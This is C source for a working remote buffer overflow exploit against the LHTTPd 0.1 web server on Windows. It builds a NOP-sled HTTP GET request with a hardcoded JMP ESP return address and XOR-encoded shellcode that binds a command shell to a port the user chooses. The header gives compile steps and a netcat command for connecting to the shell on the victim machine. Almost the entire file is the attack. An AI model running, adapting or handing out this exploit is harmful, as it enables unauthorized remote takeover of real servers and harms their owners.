/*
 * 		lhttpd00r.c by uid0x00	(uid0x00@hush.com)
 *		LHTTPd 0.1 remote buffer overflow exploit
 *
 *		should work on any win32. just change ret[] to point at a valid "JMP ESP" address.
 *
 *		compile with gcc lhttpd00r.c -o lhttpd00r
 *		(tested on cygwin (win2k sp3), compiled with gcc 2.95.3-4 and on redhat 7.2 with gcc 2.96)
 *
 *		binds a shell to a desired port.
 *		usage: ./lhttpd00r <victimip> <shellport>
 *		connect with netcat: nc -v <victimip> <port>
 *
 *		Disclaimer:
 *		Use of this information constitutes acceptance for use in an AS IS condition. There are
 *		NO warranties with regard to this information. In no event shall the author
 *		be liable for any damages whatsoever arising out of or in connection with
 *		the use or spread of this information. Any use of this information is at the
 *		user's own risk.
 *
 */

#ifdef _WIN32
#include <windows.h>
#include <winsock2.h>
#else
#include <sys/socket.h>
#include <sys/errno.h>
#include <netinet/in.h>
#endif

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

#define PORT 3000
#define SHELLCODE_SIZE	0x00000300	// 768

void usage(char *argv[])
{
    printf("usage:\t%s <ip> <port>\n", argv[0]);
    exit(0);
}

int main(int argc, char *argv[])
{
	int				port=PORT;
	int				s;
	struct			sockaddr_in SockAdr;
	char			ret[] = "\xA7\x88\xE2\x77"; //JMP ESP in USER32.DLL Vers. 5.0.2195.4314
	char			sendnrecv[4096];
	char 			buf[2500];
	unsigned short	aport, key;
	unsigned char	shellcode[SHELLCODE_SIZE] =
	{
		0xEB, 0x03, 0x5E, 0xEB, 0x05, 0xE8, 0xF8, 0xFF, 0xFF, 0xFF, 0x56, 0x8D,
		0x76, 0x17, 0x8B, 0xFE, 0x8B, 0xD6, 0xB9, 0x20, 0xFD, 0xFF, 0xFF, 0xF7,
		0xD1, 0xB4, 0x63, 0xAC, 0x32, 0xC4, 0xAA, 0xE2, 0xFA, 0x07, 0x04, 0xC2,
		0x53, 0x63, 0xE6, 0xA3, 0x1B, 0x6F, 0xE8, 0x13, 0x6F, 0xE8, 0x15, 0x7F,
		0xCE, 0xE8, 0x3B, 0x6B, 0x88, 0x6A, 0xE8, 0x23, 0x57, 0xE8, 0xFB, 0xDB,
		0x63, 0x63, 0x63, 0x3D, 0x35, 0xEE, 0xDD, 0x95, 0x61, 0x63, 0x63, 0x35,
		0xEE, 0x14, 0xDB, 0xEE, 0x35, 0xDE, 0x09, 0x64, 0x3A, 0xCE, 0x9C, 0xB1,
		0xC8, 0x81, 0x99, 0xDB, 0x01, 0x04, 0xEE, 0xC7, 0x9C, 0xB1, 0x31, 0x8B,
		0x64, 0x63, 0x63, 0x63, 0x14, 0x10, 0x51, 0x3C, 0x50, 0x51, 0x63, 0x9C,
		0xB3, 0x39, 0xF0, 0x09, 0x68, 0x3A, 0xCE, 0x9C, 0xB1, 0xC8, 0x81, 0x99,
		0x3D, 0xAB, 0x53, 0x61, 0x63, 0x8B, 0x65, 0x63, 0x63, 0x63, 0xE8, 0x07,
		0x47, 0x6B, 0x88, 0x15, 0x50, 0xB1, 0x07, 0x9C, 0x51, 0x07, 0xEA, 0x41,
		0x35, 0xEE, 0xDE, 0xB3, 0x9E, 0x9C, 0x9C, 0xEE, 0x2C, 0x4F, 0x48, 0xAC,
		0xF1, 0x9F, 0x90, 0xC9, 0xF0, 0xEE, 0x24, 0x93, 0xEE, 0x2B, 0x67, 0xEE,
		0x1B, 0x77, 0x8B, 0xD3, 0x62, 0x63, 0x63, 0xEE, 0x24, 0x87, 0xEE, 0x2C,
		0x8B, 0x8B, 0xC6, 0x62, 0x63, 0x63, 0x80, 0x22, 0xEE, 0xD5, 0x71, 0x60,
		0x63, 0x63, 0xEA, 0x14, 0x9F, 0x09, 0x65, 0x09, 0x62, 0x09, 0x61, 0xCE,
		0x9C, 0xB3, 0xEA, 0x24, 0x97, 0x23, 0x17, 0x4A, 0x2B, 0x09, 0x62, 0xE8,
		0xAF, 0x09, 0x67, 0x32, 0x09, 0x67, 0x0B, 0x9C, 0x9C, 0x63, 0x63, 0x33,
		0xCE, 0x9C, 0xB3, 0x3A, 0xE6, 0xA3, 0x16, 0x72, 0x0B, 0x63, 0x61, 0x63,
		0x63, 0x34, 0xCE, 0x9C, 0xB3, 0x34, 0xCE, 0x9C, 0xB3, 0xE6, 0xA3, 0x16,
		0x65, 0x3D, 0x8A, 0xD1, 0x63, 0x63, 0x63, 0xE8, 0x23, 0x6F, 0xE8, 0x63,
		0x34, 0xE8, 0x1C, 0x97, 0x30, 0x30, 0x9C, 0x53, 0x0B, 0x61, 0x63, 0x6E,
		0x66, 0xE8, 0xAF, 0x09, 0x73, 0x32, 0x34, 0xCE, 0x9C, 0xB3, 0xE0, 0xA7,
		0x73, 0x09, 0x62, 0x34, 0xCE, 0x9C, 0xB3, 0x30, 0x30, 0x34, 0xCE, 0x9C,
		0xB3, 0x3C, 0xEA, 0x24, 0x9B, 0x23, 0x17, 0xAA, 0x3D, 0x9C, 0x14, 0x87,
		0x9C, 0x57, 0x47, 0x9C, 0x14, 0x93, 0x30, 0x30, 0x0B, 0x62, 0x62, 0x63,
		0x63, 0x09, 0x69, 0x3A, 0x30, 0x81, 0x9E, 0x09, 0x27, 0xE8, 0xB7, 0xEF,
		0xAA, 0x51, 0xAA, 0x80, 0x72, 0x0B, 0x20, 0x2C, 0x2E, 0x63, 0x0B, 0x22,
		0x2D, 0x27, 0x4D, 0x0B, 0x20, 0x2C, 0x2E, 0x2E, 0x88, 0x66, 0x0B, 0x20,
		0x2E, 0x27, 0x63, 0xE8, 0xAF, 0xEE, 0x24, 0xB7, 0x33, 0x31, 0x30, 0x30,
		0x09, 0x73, 0x09, 0x62, 0x30, 0x30, 0x32, 0x30, 0x9C, 0xF5, 0x95, 0x61,
		0x63, 0x63, 0xE0, 0xA7, 0x2B, 0xF2, 0x80, 0x4E, 0x35, 0x30, 0x37, 0x9C,
		0x14, 0xB7, 0xEE, 0xD5, 0x99, 0x61, 0x63, 0x63, 0xCE, 0x9C, 0xB3, 0xF2,
		0x80, 0x79, 0x3B, 0x05, 0x5E, 0x60, 0x62, 0x16, 0x70, 0x30, 0xE8, 0xAF,
		0x30, 0x32, 0x30, 0x30, 0x30, 0x9C, 0x14, 0x8B, 0xCE, 0x9C, 0xB3, 0x3A,
		0xE6, 0xA3, 0x16, 0x60, 0x3D, 0x88, 0x11, 0x80, 0x4E, 0xDB, 0x63, 0x61,
		0x63, 0x63, 0x58, 0xAB, 0x15, 0x62, 0xF2, 0x30, 0xE8, 0xB7, 0x30, 0x31,
		0x32, 0x34, 0x9C, 0x14, 0x8B, 0xCE, 0x9C, 0xB3, 0xF2, 0x3B, 0x80, 0x83,
		0x3D, 0x30, 0x33, 0x34, 0x9C, 0x14, 0x9B, 0x9C, 0xF5, 0x4D, 0x60, 0x63,
		0x63, 0x23, 0x17, 0xB2, 0x88, 0xC1, 0x3D, 0x9C, 0x14, 0x9B, 0x09, 0x62,
		0xE8, 0xA7, 0x30, 0x09, 0x51, 0xE8, 0xAF, 0x32, 0x30, 0x30, 0x33, 0x30,
		0x9C, 0xF5, 0x51, 0x60, 0x63, 0x63, 0x23, 0x17, 0x4B, 0x2B, 0x17, 0x83,
		0x30, 0x0B, 0x63, 0x61, 0x63, 0x63, 0x34, 0x9C, 0x14, 0x9B, 0x9C, 0xF5,
		0x55, 0x60, 0x63, 0x63, 0x23, 0x17, 0x71, 0x2B, 0x30, 0x37, 0x33, 0x34,
		0x9C, 0x14, 0x8F, 0x9C, 0xF5, 0x65, 0x60, 0x63, 0x63, 0xE6, 0xA3, 0x16,
		0xD8, 0x50, 0xB1, 0x07, 0xEC, 0x61, 0x39, 0xEE, 0xD5, 0x69, 0x60, 0x63,
		0x63, 0xE8, 0x7D, 0xE8, 0x1D, 0x53, 0xEE, 0xD6, 0xB7, 0x9E, 0x9C, 0x9C,
		0xCE, 0x33, 0xCE, 0x33, 0xCE, 0xCE, 0x09, 0x65, 0x3A, 0xCE, 0x33, 0x81,
		0x9F, 0x9C, 0xB4, 0x9C, 0xB4, 0x09, 0x65, 0x3D, 0x9C, 0xB0, 0x2D, 0x16,
		0x98, 0xAA, 0x8A, 0xA1, 0x9E, 0x9C, 0x9C, 0x09, 0x62, 0x30, 0x09, 0x6F,
		0xE8, 0xB7, 0x30, 0x31, 0x33, 0x32, 0x9C, 0xF5, 0x6D, 0x60, 0x63, 0x63,
		0xE0, 0xA7, 0x6F, 0xF2, 0xA0, 0x03, 0xF4, 0xE8, 0x28, 0x5F, 0xE8, 0x2F,
		0x7A, 0x1B, 0x60, 0xA8, 0x50, 0x95, 0xEE, 0x77, 0xD0, 0x60, 0x32, 0x43,
		0xE8, 0x71, 0x60, 0xB0, 0x50, 0xA3, 0xA2, 0xA3, 0x64, 0x51, 0x61, 0x21,
		0xE3, 0x59, 0x63, 0x16, 0x96, 0x25, 0x58, 0xA4, 0x16, 0x87, 0x2D, 0xE8,
		0x32, 0x47, 0x60, 0xB0, 0x6C, 0xD4, 0x77, 0x11, 0xE8, 0x22, 0x7F, 0x60,
		0xA0, 0xE8, 0x67, 0xF3, 0x60, 0xA0, 0xEA, 0x27, 0x47, 0x7F, 0x02, 0xA0,
		0xA4, 0xE9, 0x52, 0x25, 0xE6, 0x20, 0xAA, 0x9E, 0x5D, 0x15, 0xB6, 0xE2,
		0x08, 0x82, 0x1C, 0x2B, 0xA0, 0xB2, 0x5C, 0x6C, 0xB6, 0xD3, 0x5D, 0x11,
		0x81, 0x9C, 0xB2, 0xCB, 0x09, 0x92, 0x19, 0x9F, 0x50, 0x54, 0xF1, 0xBB,
		0xEB, 0xB3, 0x6A, 0xDA, 0xA5, 0x7B, 0x20, 0x97, 0x07, 0x14, 0x39, 0x6F,
		0xEB, 0x52, 0x1E, 0xFD, 0x19, 0x18, 0x1A, 0x5F, 0x07, 0x14, 0x1A, 0x6D,
		0x09, 0x11, 0xFA, 0x3E, 0x95, 0x12, 0x3A, 0x6D, 0xFF, 0x1E, 0xFE, 0xF0
	};

	printf("\nLHTTPd 0.1 remote exploit by uid0x00 (uid0x00@hush.com)\n\n");

	//check arguments
	if(argc != 3)
	{
		usage(argv);
	}


	if ( (atoi(argv[2]) > 65535) || (atoi(argv[2]) <= 0) ) usage(argv);

	//set port
	aport = (short)atoi(argv[2]);
	shellcode[276] = (aport) & 0xff;
    shellcode[275] = (aport >> 8) & 0xff;
	//xor
	key = (char)99;
	shellcode[275]^=key;
	shellcode[276]^=key;

	//set buffer
	memset(buf, 0x90, sizeof(buf));

	memcpy(buf+260, ret, 4);	//return adress
	//memset(buf+265, 0xCC, 1);	//break point

	//there's some kind of garbage on the stack right after the ret so the shellcode starts at 10000
	memcpy(buf+1000, shellcode, sizeof(shellcode));
	snprintf(sendnrecv, sizeof(sendnrecv), "GET /%s HTTP/1.0\r\n\n", buf);

	printf("initialising socket\n");
	s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
	if (s)
	{
    	printf("...initialized\n");

	    memset(&SockAdr, 0, sizeof(SockAdr));
    	SockAdr.sin_addr.s_addr = inet_addr(argv[1]);
	    SockAdr.sin_family = AF_INET;
    	SockAdr.sin_port = htons(PORT);

		printf("trying to connect\n");

		if (!connect(s, (struct sockaddr *)&SockAdr, sizeof(SockAdr)))
		{
			printf("...connected\n");
      		printf("(waiting)\n");
      		sleep(3);

			printf("sending exploit\n");
      		send(s, sendnrecv, strlen(sendnrecv), 0);
			printf("...sent\n");

			printf("(waiting)\n");
			sleep(3);

			printf("...closed\nshell bound to port %s \n", argv[2]);
			close(s);
    	}
    	else
    	{
			printf("... failed :( errno = %i\n", errno);
			close(s);
			return(0);
    	}
	}
}